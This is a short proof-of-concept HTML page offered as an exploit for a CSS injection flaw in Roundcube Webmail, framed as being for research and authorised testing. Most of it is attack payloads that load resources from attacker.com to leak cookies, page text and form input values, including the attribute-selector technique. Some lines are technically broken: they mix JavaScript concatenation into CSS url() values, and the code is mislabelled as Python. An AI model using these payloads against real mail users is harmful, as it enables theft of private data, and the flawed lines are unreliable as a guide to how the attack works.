The following code is for security research and authorized testing only.
python
<!-- CVE-2025-68460 PoC: CSS Injection in Roundcube Webmail -->
<html>
<body>
<h1>CVE-2025-68460 Roundcube CSS Injection PoC</h1>
<p>This PoC demonstrates CSS injection via HTML email in Roundcube Webmail.</p>
<p>When rendered in Roundcube, the following style will attempt to load an image from an attacker-controlled server, potentially exfiltrating sensitive data.</p>
<!-- CSS Injection payload -->
<div style="background-image: url('http://attacker.com/steal?data=' + document.cookie);">
<p>Malicious content</p>
</div>
<!-- Alternative payload using @import -->
<style>
@import 'http://attacker.com/steal?css=1';
body { background-image: url('http://attacker.com/exfil?data=' + encodeURIComponent(document.body.innerText)); }
</style>
<!-- More sophisticated exfiltration using CSS selectors -->
<style>
input[value^="a"]{background-image: url("http://attacker.com/a");}
input[value^="b"]{background-image: url("http://attacker.com/b");}
/* ... more selectors for data exfiltration ... */
</style>
<p>Note: This is for educational and testing purposes only.</p>
</body>
</html>